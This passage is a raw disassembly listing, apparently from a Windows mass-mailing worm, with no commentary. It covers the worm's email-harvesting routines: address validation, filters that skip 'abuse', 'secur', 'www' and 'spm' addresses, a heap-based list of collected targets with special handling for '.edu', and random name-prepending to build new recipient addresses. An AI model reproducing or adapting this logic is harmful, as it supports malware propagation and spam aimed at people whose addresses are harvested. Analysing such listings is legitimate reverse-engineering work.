  4798. loc_4A534A:                ; CODE XREF: sub_4A5315+Cj
  4799.                     ; sub_4A5315+13j
  4800.         test    ebx, ebx
  4801.         jz    short loc_4A5351
  4802.         and    byte ptr [ebx],    0
  4803.  
  4804. loc_4A5351:                ; CODE XREF: sub_4A5315+37j
  4805.         cmp    byte ptr [edi+esi], 0
  4806.         jz    short loc_4A5389
  4807.         mov    ebx, [esp+4+lpString1]
  4808.         test    ebx, ebx
  4809.         jz    short loc_4A539B
  4810.         lea    eax, [edi+esi+1]
  4811.         cmp    byte ptr [eax],    0
  4812.         jz    short loc_4A5384
  4813.         mov    esi, eax
  4814.  
  4815. loc_4A536A:                ; CODE XREF: sub_4A5315+6Dj
  4816.         movsx    eax, byte ptr [esi]
  4817.         push    eax
  4818.         call    ds:isspace
  4819.         test    eax, eax
  4820.         pop    ecx
  4821.         jnz    short loc_4A537E
  4822.         mov    al, [esi]
  4823.         mov    [ebx], al
  4824.         inc    ebx
  4825.  
  4826. loc_4A537E:                ; CODE XREF: sub_4A5315+62j
  4827.         inc    esi
  4828.         cmp    byte ptr [esi],    0
  4829.         jnz    short loc_4A536A
  4830.  
  4831. loc_4A5384:                ; CODE XREF: sub_4A5315+51j
  4832.         and    byte ptr [ebx],    0
  4833.         jmp    short loc_4A539B
  4834. ; ───────────────────────────────────────────────────────────────────────────
  4835.  
  4836. loc_4A5389:                ; CODE XREF: sub_4A5315+40j
  4837.         cmp    [esp+4+lpString1], 0
  4838.         jz    short loc_4A539B
  4839.         push    esi        ; lpString2
  4840.         push    [esp+8+lpString1] ; lpString1
  4841.         call    ds:lstrcpyA
  4842.  
  4843. loc_4A539B:                ; CODE XREF: sub_4A5315+48j
  4844.                     ; sub_4A5315+72j ...
  4845.         pop    edi
  4846.         pop    esi
  4847.         pop    ebx
  4848.         retn
  4849. sub_4A5315    endp
  4850.  
  4851.  
  4852. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4853.  
  4854.  
  4855. sub_4A539F    proc near        ; CODE XREF: sub_4A5718+17p
  4856.         mov    cl, [edi]
  4857.         xor    eax, eax
  4858.         test    cl, cl
  4859.         push    ebp
  4860.         jnz    short loc_4A53AB
  4861.         inc    eax
  4862.         pop    ebp
  4863.         retn
  4864. ; ───────────────────────────────────────────────────────────────────────────
  4865.  
  4866. loc_4A53AB:                ; CODE XREF: sub_4A539F+7j
  4867.         and    ds:dword_4A81B8, 0
  4868.  
  4869. loc_4A53B2:                ; CODE XREF: sub_4A539F+24j
  4870.         cmp    cl, 40h
  4871.         jnz    short loc_4A53BD
  4872.         inc    ds:dword_4A81B8
  4873.  
  4874. loc_4A53BD:                ; CODE XREF: sub_4A539F+16j
  4875.         inc    eax
  4876.         mov    cl, [eax+edi]
  4877.         test    cl, cl
  4878.         jnz    short loc_4A53B2
  4879.         push    ebx
  4880.         xor    ebx, ebx
  4881.         inc    ebx
  4882.         push    esi
  4883.         cmp    ds:dword_4A81B8, ebx
  4884.         mov    ds:dword_4A81BC, eax
  4885.         jnz    loc_4A5514
  4886.         mov    esi, ds:lstrlenA
  4887.         push    edi        ; lpString
  4888.         call    esi ; lstrlenA
  4889.         jmp    short loc_4A53F9
  4890. ; ───────────────────────────────────────────────────────────────────────────
  4891.  
  4892. loc_4A53E6:                ; CODE XREF: sub_4A539F+61j
  4893.         mov    cl, [edi+eax-1]
  4894.         cmp    cl, 2Eh
  4895.         jz    short loc_4A5402
  4896.         cmp    cl, 40h
  4897.         jz    loc_4A5514
  4898.         dec    eax
  4899.  
  4900. loc_4A53F9:                ; CODE XREF: sub_4A539F+45j
  4901.         test    eax, eax
  4902.         mov    ds:dword_4A81BC, eax
  4903.         jg    short loc_4A53E6
  4904.  
  4905. loc_4A5402:                ; CODE XREF: sub_4A539F+4Ej
  4906.         test    eax, eax
  4907.         jz    loc_4A5514
  4908.         push    edi        ; lpString
  4909.         call    esi ; lstrlenA
  4910.         mov    ecx, ebx
  4911.         sub    ecx, ds:dword_4A81BC
  4912.         add    eax, ecx
  4913.         cmp    eax, 2
  4914.         mov    ds:dword_4A82C0, eax
  4915.         jl    loc_4A5514
  4916.         cmp    eax, 4
  4917.         jg    loc_4A5514
  4918.         mov    ebx, offset String1
  4919.         mov    ebp, offset byte_4A81C0
  4920.         push    ebx        ; lpString1
  4921.         mov    eax, ebp
  4922.         mov    ecx, edi
  4923.         call    sub_4A5315
  4924.         pop    ecx
  4925.         push    ebp        ; lpString
  4926.         call    esi ; lstrlenA
  4927.         cmp    eax, 2
  4928.         mov    ds:dword_4A81BC, eax
  4929.         jl    loc_4A54F1
  4930.         cmp    eax, 18h
  4931.         jg    loc_4A54F1
  4932.         push    ebx        ; lpString
  4933.         call    esi ; lstrlenA
  4934.         cmp    eax, 6
  4935.         mov    ds:dword_4A81BC, eax
  4936.         jl    loc_4A54F1
  4937.         cmp    eax, 2Ah
  4938.         jg    short loc_4A54F1
  4939.         push    ebx        ; lpString
  4940.         call    esi ; lstrlenA
  4941.         jmp    short loc_4A548A
  4942. ; ───────────────────────────────────────────────────────────────────────────
  4943.  
  4944. loc_4A5478:                ; CODE XREF: sub_4A539F+F3j
  4945.         cmp    ds:String1[eax], 2Eh
  4946.         jnz    short loc_4A548A
  4947.         cmp    ds:byte_4A82C7[eax], 2Eh
  4948.         jz    short loc_4A54F1
  4949.  
  4950. loc_4A548A:                ; CODE XREF: sub_4A539F+D7j
  4951.                     ; sub_4A539F+E0j
  4952.         dec    eax
  4953.         test    eax, eax
  4954.         mov    ds:dword_4A81BC, eax
  4955.         jg    short loc_4A5478
  4956.         mov    cl, ds:byte_4A81C0
  4957.         xor    eax, eax
  4958.         and    ds:dword_4A81B8, eax
  4959.         mov    ds:dword_4A81BC, eax
  4960.         test    cl, cl
  4961.         jz    short loc_4A54CB
  4962.  
  4963. loc_4A54AB:                ; CODE XREF: sub_4A539F+125j
  4964.         cmp    cl, 30h
  4965.         jl    short loc_4A54BB
  4966.         cmp    cl, 39h
  4967.         jg    short loc_4A54BB
  4968.         inc    ds:dword_4A81B8
  4969.  
  4970. loc_4A54BB:                ; CODE XREF: sub_4A539F+10Fj
  4971.                     ; sub_4A539F+114j
  4972.         mov    cl, ds:byte_4A81C1[eax]
  4973.         inc    eax
  4974.         test    cl, cl
  4975.         jnz    short loc_4A54AB
  4976.         mov    ds:dword_4A81BC, eax
  4977.  
  4978. loc_4A54CB:                ; CODE XREF: sub_4A539F+10Aj
  4979.         push    ebp        ; lpString
  4980.         call    esi ; lstrlenA
  4981.         mov    ecx, eax
  4982.         mov    eax, ds:dword_4A81B8
  4983.         imul    eax, 64h
  4984.         cdq
  4985.         idiv    ecx
  4986.         push    ebp        ; lpString
  4987.         mov    ds:dword_4A81BC, eax
  4988.         call    esi ; lstrlenA
  4989.         cmp    eax, 0Ch
  4990.         jle    short loc_4A54F6
  4991.         cmp    ds:dword_4A81BC, 32h
  4992.         jmp    short loc_4A550E
  4993. ; ───────────────────────────────────────────────────────────────────────────
  4994.  
  4995. loc_4A54F1:                ; CODE XREF: sub_4A539F+AFj
  4996.                     ; sub_4A539F+B8j ...
  4997.         xor    eax, eax
  4998.         inc    eax
  4999.         jmp    short loc_4A5516
  5000. ; ───────────────────────────────────────────────────────────────────────────
  5001.  
  5002. loc_4A54F6:                ; CODE XREF: sub_4A539F+147j
  5003.         push    ebp        ; lpString
  5004.         call    esi ; lstrlenA
  5005.         cmp    eax, 6
  5006.         jl    short loc_4A5507
  5007.         cmp    ds:dword_4A81BC, 3Ch
  5008.         jmp    short loc_4A550E
  5009. ; ───────────────────────────────────────────────────────────────────────────
  5010.  
  5011. loc_4A5507:                ; CODE XREF: sub_4A539F+15Dj
  5012.         cmp    ds:dword_4A81BC, 46h
  5013.  
  5014. loc_4A550E:                ; CODE XREF: sub_4A539F+150j
  5015.                     ; sub_4A539F+166j
  5016.         jge    short loc_4A54F1
  5017.         xor    eax, eax
  5018.         jmp    short loc_4A5516
  5019. ; ───────────────────────────────────────────────────────────────────────────
  5020.  
  5021. loc_4A5514:                ; CODE XREF: sub_4A539F+36j
  5022.                     ; sub_4A539F+53j ...
  5023.         mov    eax, ebx
  5024.  
  5025. loc_4A5516:                ; CODE XREF: sub_4A539F+155j
  5026.                     ; sub_4A539F+173j
  5027.         pop    esi
  5028.         pop    ebx
  5029.         pop    ebp
  5030.         retn
  5031. sub_4A539F    endp
  5032.  
  5033.  
  5034. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5035.  
  5036. ; Attributes: bp-based frame
  5037.  
  5038. sub_4A551A    proc near        ; CODE XREF: sub_4A5718+57p
  5039.  
  5040. var_100        = byte ptr -100h
  5041.  
  5042.         push    ebp
  5043.         mov    ebp, esp
  5044.         sub    esp, 100h
  5045.         push    ebx
  5046.         push    esi
  5047.         mov    esi, eax
  5048.         xor    ebx, ebx
  5049.         jmp    short loc_4A5530
  5050. ; ───────────────────────────────────────────────────────────────────────────
  5051.  
  5052. loc_4A552B:                ; CODE XREF: sub_4A551A+1Aj
  5053.         cmp    al, 40h
  5054.         jz    short loc_4A553E
  5055.         inc    esi
  5056.  
  5057. loc_4A5530:                ; CODE XREF: sub_4A551A+Fj
  5058.         mov    al, [esi]
  5059.         cmp    al, bl
  5060.         jnz    short loc_4A552B
  5061.         cmp    al, 40h
  5062.         jnz    loc_4A55C4
  5063.  
  5064. loc_4A553E:                ; CODE XREF: sub_4A551A+13j
  5065.         push    edi
  5066.         xor    edi, edi
  5067.         inc    esi
  5068.  
  5069. loc_4A5542:                ; CODE XREF: sub_4A551A+48j
  5070.         mov    al, [esi]
  5071.         cmp    al, bl
  5072.         jz    short loc_4A5564
  5073.         movsx    eax, al
  5074.         push    eax
  5075.         call    ds:tolower
  5076.         mov    [ebp+edi+var_100], al
  5077.         inc    edi
  5078.         inc    esi
  5079.         cmp    edi, 0FFh
  5080.         pop    ecx
  5081.         jl    short loc_4A5542
  5082.  
  5083. loc_4A5564:                ; CODE XREF: sub_4A551A+2Cj
  5084.         cmp    ds:dword_4A1200, ebx
  5085.         mov    [ebp+edi+var_100], bl
  5086.         pop    edi
  5087.         jz    short loc_4A5598
  5088.         mov    eax, offset dword_4A1200
  5089.         mov    esi, eax
  5090.  
  5091. loc_4A557B:                ; CODE XREF: sub_4A551A+7Cj
  5092.         push    dword ptr [eax]
  5093.         lea    eax, [ebp+var_100]
  5094.         push    eax
  5095.         call    sub_4A424F
  5096.         pop    ecx
  5097.         test    eax, eax
  5098.         pop    ecx
  5099.         jnz    short loc_4A55CA
  5100.         add    esi, 4
  5101.         mov    eax, esi
  5102.         cmp    [esi], ebx
  5103.         jnz    short loc_4A557B
  5104.  
  5105. loc_4A5598:                ; CODE XREF: sub_4A551A+58j
  5106.         cmp    ds:dword_4A11B0, ebx
  5107.         jz    short loc_4A55C4
  5108.         mov    eax, offset dword_4A11B0
  5109.         mov    esi, eax
  5110.  
  5111. loc_4A55A7:                ; CODE XREF: sub_4A551A+A8j
  5112.         push    dword ptr [eax]
  5113.         lea    eax, [ebp+var_100]
  5114.         push    eax
  5115.         call    sub_4A424F
  5116.         pop    ecx
  5117.         test    eax, eax
  5118.         pop    ecx
  5119.         jnz    short loc_4A55CF
  5120.         add    esi, 4
  5121.         mov    eax, esi
  5122.         cmp    [esi], ebx
  5123.         jnz    short loc_4A55A7
  5124.  
  5125. loc_4A55C4:                ; CODE XREF: sub_4A551A+1Ej
  5126.                     ; sub_4A551A+84j
  5127.         xor    eax, eax
  5128.  
  5129. loc_4A55C6:                ; CODE XREF: sub_4A551A+B3j
  5130.                     ; sub_4A551A+B8j
  5131.         pop    esi
  5132.         pop    ebx
  5133.         leave
  5134.         retn
  5135. ; ───────────────────────────────────────────────────────────────────────────
  5136.  
  5137. loc_4A55CA:                ; CODE XREF: sub_4A551A+73j
  5138.         push    64h
  5139.         pop    eax
  5140.         jmp    short loc_4A55C6
  5141. ; ───────────────────────────────────────────────────────────────────────────
  5142.  
  5143. loc_4A55CF:                ; CODE XREF: sub_4A551A+9Fj
  5144.         xor    eax, eax
  5145.         inc    eax
  5146.         jmp    short loc_4A55C6
  5147. sub_4A551A    endp
  5148.  
  5149.  
  5150. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5151.  
  5152. ; Attributes: bp-based frame
  5153.  
  5154. sub_4A55D4    proc near        ; CODE XREF: sub_4A5718+62p
  5155.  
  5156. String1        = byte ptr -110h
  5157. var_10        = byte ptr -10h
  5158.  
  5159.         push    ebp
  5160.         mov    ebp, esp
  5161.         sub    esp, 110h
  5162.         push    ebx
  5163.         push    esi
  5164.         push    edi
  5165.         xor    ebx, ebx
  5166.         mov    edi, eax
  5167.         xor    esi, esi
  5168.  
  5169. loc_4A55E6:                ; CODE XREF: sub_4A55D4+36j
  5170.         mov    al, [edi]
  5171.         cmp    al, bl
  5172.         jz    short loc_4A560C
  5173.         cmp    al, 40h
  5174.         jz    short loc_4A560C
  5175.         movsx    eax, al
  5176.         push    eax
  5177.         call    ds:tolower
  5178.         mov    [ebp+esi+String1], al
  5179.         inc    esi
  5180.         inc    edi
  5181.         cmp    esi, 0FFh
  5182.         pop    ecx
  5183.         jl    short loc_4A55E6
  5184.  
  5185. loc_4A560C:                ; CODE XREF: sub_4A55D4+16j
  5186.                     ; sub_4A55D4+1Aj
  5187.         cmp    byte ptr [edi],    40h
  5188.         mov    [ebp+esi+String1], bl
  5189.         jnz    loc_4A570C
  5190.         cmp    ds:dword_4A1278, ebx
  5191.         jz    short loc_4A564B
  5192.         mov    eax, offset dword_4A1278
  5193.         mov    esi, eax
  5194.  
  5195. loc_4A562B:                ; CODE XREF: sub_4A55D4+75j
  5196.         push    dword ptr [eax]    ; lpString2
  5197.         lea    eax, [ebp+String1]
  5198.         push    eax        ; lpString1
  5199.         call    ds:lstrcmpA
  5200.         test    eax, eax
  5201.         jz    loc_4A5713
  5202.         add    esi, 4
  5203.         mov    eax, esi
  5204.         cmp    [esi], ebx
  5205.         jnz    short loc_4A562B
  5206.  
  5207. loc_4A564B:                ; CODE XREF: sub_4A55D4+4Ej
  5208.         push    3
  5209.         lea    eax, [ebp+String1]
  5210.         push    offset aSpm    ; "spm"
  5211.         push    eax
  5212.         call    sub_4A42F1
  5213.         add    esp, 0Ch
  5214.         test    eax, eax
  5215.         jz    loc_4A5713
  5216.         lea    eax, [ebp+var_10]
  5217.         push    offset aFcnz    ; "fcnz"
  5218.         push    eax
  5219.         call    sub_4A465E
  5220.         lea    eax, [ebp+var_10]
  5221.         push    eax
  5222.         lea    eax, [ebp+String1]
  5223.         push    eax
  5224.         call    sub_4A424F
  5225.         add    esp, 10h
  5226.         test    eax, eax
  5227.         jnz    loc_4A5713
  5228.         push    3
  5229.         lea    eax, [ebp+String1]
  5230.         push    offset aWww    ; "www"
  5231.         push    eax
  5232.         call    sub_4A42F1
  5233.         add    esp, 0Ch
  5234.         test    eax, eax
  5235.         jz    short loc_4A5713
  5236.         push    5
  5237.         lea    eax, [ebp+String1]
  5238.         push    offset aSecur    ; "secur"
  5239.         push    eax
  5240.         call    sub_4A42F1
  5241.         add    esp, 0Ch
  5242.         test    eax, eax
  5243.         jz    short loc_4A5713
  5244.         push    5
  5245.         lea    eax, [ebp+String1]
  5246.         push    offset aAbuse    ; "abuse"
  5247.         push    eax
  5248.         call    sub_4A42F1
  5249.         add    esp, 0Ch
  5250.         test    eax, eax
  5251.         jz    short loc_4A5713
  5252.         cmp    ds:dword_4A12F4, ebx
  5253.         jz    short loc_4A570C
  5254.         mov    eax, offset dword_4A12F4
  5255.         mov    esi, eax
  5256.  
  5257. loc_4A56EF:                ; CODE XREF: sub_4A55D4+136j
  5258.         push    dword ptr [eax]
  5259.         lea    eax, [ebp+String1]
  5260.         push    eax
  5261.         call    sub_4A424F
  5262.         pop    ecx
  5263.         test    eax, eax
  5264.         pop    ecx
  5265.         jnz    short loc_4A5713
  5266.         add    esi, 4
  5267.         mov    eax, esi
  5268.         cmp    [esi], ebx
  5269.         jnz    short loc_4A56EF
  5270.  
  5271. loc_4A570C:                ; CODE XREF: sub_4A55D4+42j
  5272.                     ; sub_4A55D4+112j
  5273.         xor    eax, eax
  5274.  
  5275. loc_4A570E:                ; CODE XREF: sub_4A55D4+142j
  5276.         pop    edi
  5277.         pop    esi
  5278.         pop    ebx
  5279.         leave
  5280.         retn
  5281. ; ───────────────────────────────────────────────────────────────────────────
  5282.  
  5283. loc_4A5713:                ; CODE XREF: sub_4A55D4+68j
  5284.                     ; sub_4A55D4+8Fj ...
  5285.         xor    eax, eax
  5286.         inc    eax
  5287.         jmp    short loc_4A570E
  5288. sub_4A55D4    endp
  5289.  
  5290.  
  5291. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5292.  
  5293. ; Attributes: bp-based frame
  5294.  
  5295. sub_4A5718    proc near        ; CODE XREF: sub_4A5788+25p
  5296.  
  5297. var_4        = dword    ptr -4
  5298.  
  5299.         push    ebp
  5300.         mov    ebp, esp
  5301.         push    ecx
  5302.         push    edi
  5303.         mov    edi, ecx
  5304.         push    edi
  5305.         call    sub_4A5108
  5306.         test    eax, eax
  5307.         pop    ecx
  5308.         jz    short loc_4A5762
  5309.  
  5310. loc_4A572A:                ; CODE XREF: sub_4A5718+53j
  5311.                     ; sub_4A5718+5Ej
  5312.         xor    eax, eax
  5313.         inc    eax
  5314.         jmp    short loc_4A5785
  5315. ; ───────────────────────────────────────────────────────────────────────────
  5316.  
  5317. loc_4A572F:                ; CODE XREF: sub_4A5718+4Dj
  5318.         call    sub_4A539F
  5319.         test    eax, eax
  5320.         mov    [ebp+var_4], eax
  5321.         jz    short loc_4A576D
  5322.         push    edi        ; lpString
  5323.         call    ds:lstrlenA
  5324.         jmp    short loc_4A5751
  5325. ; ───────────────────────────────────────────────────────────────────────────
  5326.  
  5327. loc_4A5744:                ; CODE XREF: sub_4A5718+3Aj
  5328.         mov    cl, [eax+edi]
  5329.         cmp    cl, 40h
  5330.         jz    short loc_4A5754
  5331.         cmp    cl, 2Eh
  5332.         jz    short loc_4A5754
  5333.  
  5334. loc_4A5751:                ; CODE XREF: sub_4A5718+2Aj
  5335.         dec    eax
  5336.         jns    short loc_4A5744
  5337.  
  5338. loc_4A5754:                ; CODE XREF: sub_4A5718+32j
  5339.                     ; sub_4A5718+37j
  5340.         test    eax, eax
  5341.         jle    short loc_4A5767
  5342.         add    eax, edi
  5343.         cmp    byte ptr [eax],    2Eh
  5344.         jnz    short loc_4A5767
  5345.         and    byte ptr [eax],    0
  5346.  
  5347. loc_4A5762:                ; CODE XREF: sub_4A5718+10j
  5348.         cmp    byte ptr [edi],    0
  5349.         jnz    short loc_4A572F
  5350.  
  5351. loc_4A5767:                ; CODE XREF: sub_4A5718+3Ej
  5352.                     ; sub_4A5718+45j
  5353.         cmp    [ebp+var_4], 0
  5354.         jnz    short loc_4A572A
  5355.  
  5356. loc_4A576D:                ; CODE XREF: sub_4A5718+21j
  5357.         mov    eax, edi
  5358.         call    sub_4A551A
  5359.         test    eax, eax
  5360.         jnz    short loc_4A572A
  5361.         mov    eax, edi
  5362.         call    sub_4A55D4
  5363.         neg    eax
  5364.         sbb    eax, eax
  5365.         neg    eax
  5366.  
  5367. loc_4A5785:                ; CODE XREF: sub_4A5718+15j
  5368.         pop    edi
  5369.         leave
  5370.         retn
  5371. sub_4A5718    endp
  5372.  
  5373.  
  5374. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5375.  
  5376. ; Attributes: bp-based frame
  5377.  
  5378. sub_4A5788    proc near        ; CODE XREF: sub_4A586A+C0p
  5379.                     ; sub_4A5DD4+DAp ...
  5380.  
  5381. String2        = byte ptr -100h
  5382. lpString    = dword    ptr  8
  5383. arg_4        = byte ptr  0Ch
  5384.  
  5385.         push    ebp
  5386.         mov    ebp, esp
  5387.         sub    esp, 100h
  5388.         push    edi
  5389.         mov    edi, ds:lstrlenA
  5390.         push    [ebp+lpString]    ; lpString
  5391.         call    edi ; lstrlenA
  5392.         cmp    eax, 80h
  5393.         jg    short loc_4A57B6
  5394.         mov    eax, [ebp+lpString]
  5395.         lea    ecx, [ebp+String2]
  5396.         call    sub_4A5718
  5397.         test    eax, eax
  5398.         jz    short loc_4A57BE
  5399.  
  5400. loc_4A57B6:                ; CODE XREF: sub_4A5788+1Aj
  5401.         xor    eax, eax
  5402.         inc    eax
  5403.         jmp    loc_4A5867
  5404. ; ───────────────────────────────────────────────────────────────────────────
  5405.  
  5406. loc_4A57BE:                ; CODE XREF: sub_4A5788+2Cj
  5407.         push    esi
  5408.         mov    esi, ds:dword_4A83CC
  5409.         jmp    short loc_4A57DE
  5410. ; ───────────────────────────────────────────────────────────────────────────
  5411.  
  5412. loc_4A57C7:                ; CODE XREF: sub_4A5788+58j
  5413.         lea    eax, [ebp+String2]
  5414.         push    eax        ; lpString2
  5415.         lea    eax, [esi+0Ah]
  5416.         push    eax        ; lpString1
  5417.         call    ds:lstrcmpiA
  5418.         test    eax, eax
  5419.         jz    short loc_4A5808
  5420.         mov    esi, [esi]
  5421.  
  5422. loc_4A57DE:                ; CODE XREF: sub_4A5788+3Dj
  5423.         test    esi, esi
  5424.         jnz    short loc_4A57C7
  5425.         lea    eax, [ebp+String2]
  5426.         push    eax        ; lpString
  5427.         call    edi ; lstrlenA
  5428.         mov    edi, eax
  5429.         add    edi, 0Fh
  5430.         push    edi        ; dwBytes
  5431.         push    esi        ; dwFlags
  5432.         call    ds:GetProcessHeap
  5433.         push    eax        ; hHeap
  5434.         call    ds:HeapAlloc
  5435.         mov    esi, eax
  5436.         test    esi, esi
  5437.         jnz    short loc_4A580D
  5438.         inc    eax
  5439.         jmp    short loc_4A5866
  5440. ; ───────────────────────────────────────────────────────────────────────────
  5441.  
  5442. loc_4A5808:                ; CODE XREF: sub_4A5788+52j
  5443.         push    2
  5444.         pop    eax
  5445.         jmp    short loc_4A5866
  5446. ; ───────────────────────────────────────────────────────────────────────────
  5447.  
  5448. loc_4A580D:                ; CODE XREF: sub_4A5788+7Bj
  5449.         push    edi
  5450.         push    0
  5451.         push    esi
  5452.         call    memset
  5453.         and    byte ptr [esi+8], 0
  5454.         add    esp, 0Ch
  5455.         call    ds:GetTickCount
  5456.         mov    [esi+4], eax
  5457.         mov    al, [ebp+arg_4]
  5458.         mov    [esi+9], al
  5459.         lea    eax, [ebp+String2]
  5460.         push    eax        ; lpString2
  5461.         lea    eax, [esi+0Ah]
  5462.         push    eax        ; lpString1
  5463.         call    ds:lstrcpyA
  5464.         mov    eax, ds:dword_4A83CC
  5465.         push    offset a_edu    ; ".edu"
  5466.         mov    [esi], eax
  5467.         lea    eax, [ebp+String2]
  5468.         push    eax
  5469.         mov    ds:dword_4A83CC, esi
  5470.         call    sub_4A424F
  5471.         pop    ecx
  5472.         test    eax, eax
  5473.         pop    ecx
  5474.         jz    short loc_4A5864
  5475.         inc    byte ptr [esi+9]
  5476.  
  5477. loc_4A5864:                ; CODE XREF: sub_4A5788+D7j
  5478.         xor    eax, eax
  5479.  
  5480. loc_4A5866:                ; CODE XREF: sub_4A5788+7Ej
  5481.                     ; sub_4A5788+83j
  5482.         pop    esi
  5483.  
  5484. loc_4A5867:                ; CODE XREF: sub_4A5788+31j
  5485.         pop    edi
  5486.         leave
  5487.         retn
  5488. sub_4A5788    endp
  5489.  
  5490.  
  5491. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5492.  
  5493. ; Attributes: bp-based frame
  5494.  
  5495. sub_4A586A    proc near        ; CODE XREF: .text:004A5CB8p
  5496.  
  5497. var_180        = byte ptr -180h
  5498. String2        = byte ptr -80h
  5499.  
  5500.         push    ebp
  5501.         mov    ebp, esp
  5502.         sub    esp, 180h
  5503.         mov    eax, ds:dword_4A83CC
  5504.         push    esi
  5505.         xor    esi, esi
  5506.         test    eax, eax
  5507.         jz    loc_4A5931
  5508.  
  5509. loc_4A5883:                ; CODE XREF: sub_4A586A+1Ej
  5510.         mov    eax, [eax]
  5511.         inc    esi
  5512.         test    eax, eax
  5513.         jnz    short loc_4A5883
  5514.         test    esi, esi
  5515.         jz    loc_4A5931
  5516.         call    sub_4A4239
  5517.         xor    edx, edx
  5518.         xor    ecx, ecx
  5519.         div    esi
  5520.         mov    eax, ds:dword_4A83CC
  5521.         test    edx, edx
  5522.         jle    short loc_4A58B5
  5523.  
  5524. loc_4A58A6:                ; CODE XREF: sub_4A586A+49j
  5525.         test    eax, eax
  5526.         jz    loc_4A5931
  5527.         mov    eax, [eax]
  5528.         inc    ecx
  5529.         cmp    ecx, edx
  5530.         jl    short loc_4A58A6
  5531.  
  5532. loc_4A58B5:                ; CODE XREF: sub_4A586A+3Aj
  5533.         test    eax, eax
  5534.         jz    short loc_4A5931
  5535.         add    eax, 0Ah
  5536.         jmp    short loc_4A58C4
  5537. ; ───────────────────────────────────────────────────────────────────────────
  5538.  
  5539. loc_4A58BE:                ; CODE XREF: sub_4A586A+5Ej
  5540.         cmp    cl, 40h
  5541.         jz    short loc_4A58CF
  5542.         inc    eax
  5543.  
  5544. loc_4A58C4:                ; CODE XREF: sub_4A586A+52j
  5545.         mov    cl, [eax]
  5546.         test    cl, cl
  5547.         jnz    short loc_4A58BE
  5548.         cmp    cl, 40h
  5549.         jnz    short loc_4A5931
  5550.  
  5551. loc_4A58CF:                ; CODE XREF: sub_4A586A+57j
  5552.         inc    eax
  5553.         push    4Fh        ; iMaxLength
  5554.         push    eax        ; lpString2
  5555.         lea    eax, [ebp+String2]
  5556.         push    eax        ; lpString1
  5557.         call    ds:lstrcpynA
  5558.         call    sub_4A4221
  5559.         movzx    eax, ax
  5560.         push    31h
  5561.         xor    edx, edx
  5562.         pop    ecx
  5563.         div    ecx
  5564.         lea    eax, [ebp+var_180]
  5565.         push    ds:lpString2[edx*4] ; lpString2
  5566.         push    eax        ; lpString1
  5567.         call    ds:lstrcpyA
  5568.         mov    esi, ds:lstrcatA
  5569.         lea    eax, [ebp+var_180]
  5570.         push    offset a@    ; lpString2
  5571.         push    eax        ; lpString1
  5572.         call    esi ; lstrcatA
  5573.         lea    eax, [ebp+String2]
  5574.         push    eax        ; lpString2
  5575.         lea    eax, [ebp+var_180]
  5576.         push    eax        ; lpString1
  5577.         call    esi ; lstrcatA
  5578.         lea    eax, [ebp+var_180]
  5579.         push    1
  5580.         push    eax
  5581.         call    sub_4A5788
  5582.         pop    ecx
  5583.         pop    ecx
  5584.  
  5585. loc_4A5931:                ; CODE XREF: sub_4A586A+13j
  5586.                     ; sub_4A586A+22j ...
  5587.         pop    esi
  5588.         leave
  5589.         retn
  5590. sub_4A586A    endp
  5591.  
  5592.  
  5593. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5594.  
  5595.  
  5596. ; int __cdecl sub_4A5934(LPCSTR    lpString2)
  5597. sub_4A5934    proc near        ; CODE XREF: sub_4A5A31+6p
  5598.                     ; sub_4A5A31+39p
  5599.  
  5600. lpString2    = dword    ptr  8
  5601.  
  5602.         push    esi
  5603.         mov    esi, ds:dword_4A83D4
  5604.         jmp    short loc_4A5951
  5605. ; ───────────────────────────────────────────────────────────────────────────
  5606.  
  5607. loc_4A593D:                ; CODE XREF: sub_4A5934+1Fj
  5608.         push    [esp+lpString2]    ; lpString2
  5609.         lea    eax, [esi+8]
  5610.         push    eax        ; lpString1
  5611.         call    ds:lstrcmpiA
  5612.         test    eax, eax
  5613.         jz    short loc_4A5959
  5614.         mov    esi, [esi]
  5615.  
  5616. loc_4A5951:                ; CODE XREF: sub_4A5934+7j
  5617.         test    esi, esi
  5618.         jnz    short loc_4A593D
  5619.         xor    eax, eax
  5620.         pop    esi
  5621.         retn
  5622. ; ───────────────────────────────────────────────────────────────────────────
  5623.  
  5624. loc_4A5959:                ; CODE XREF: sub_4A5934+19j
  5625.         mov    eax, esi
  5626.         pop    esi
  5627.         retn
  5628. sub_4A5934    endp
  5629.  
  5630.  
  5631. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5632.  
  5633.  
  5634. ; int __cdecl sub_4A595D(LPCSTR    lpString2,int)
  5635. sub_4A595D    proc near        ; CODE XREF: sub_4A5A31+33p
  5636.  
  5637. lpString2    = dword    ptr  4
  5638. arg_4        = dword    ptr  8
  5639.  
  5640.         mov    eax, ds:dword_4A83D4
  5641.         push    ebx
  5642.         push    esi
  5643.         xor    ebx, ebx
  5644.         xor    esi, esi
  5645.         xor    ecx, ecx
  5646.         cmp    eax, ebx
  5647.         jz    short loc_4A5990
  5648.  
  5649. loc_4A596E:                ; CODE XREF: sub_4A595D+29j
  5650.         cmp    [eax+5Ch], ebx
  5651.         jnz    short loc_4A5981
  5652.         cmp    esi, ebx
  5653.         jz    short loc_4A597F
  5654.         mov    edx, [esi+58h]
  5655.         cmp    edx, [eax+58h]
  5656.         jnb    short loc_4A5981
  5657.  
  5658. loc_4A597F:                ; CODE XREF: sub_4A595D+18j
  5659.         mov    esi, eax
  5660.  
  5661. loc_4A5981:                ; CODE XREF: sub_4A595D+14j
  5662.                     ; sub_4A595D+20j
  5663.         mov    eax, [eax]
  5664.         inc    ecx
  5665.         cmp    eax, ebx
  5666.         jnz    short loc_4A596E
  5667.         cmp    ecx, 100h
  5668.         jg    short loc_4A59EC
  5669.  
  5670. loc_4A5990:                ; CODE XREF: sub_4A595D+Fj
  5671.         push    60h        ; dwBytes
  5672.         push    ebx        ; dwFlags
  5673.         call    ds:GetProcessHeap
  5674.         push    eax        ; hHeap
  5675.         call    ds:HeapAlloc
  5676.         mov    esi, eax
  5677.         cmp    esi, ebx
  5678.         jnz    short loc_4A59AE
  5679.  
  5680. loc_4A59A6:                ; CODE XREF: sub_4A595D+91j
  5681.                     ; sub_4A595D+96j
  5682.         xor    eax, eax
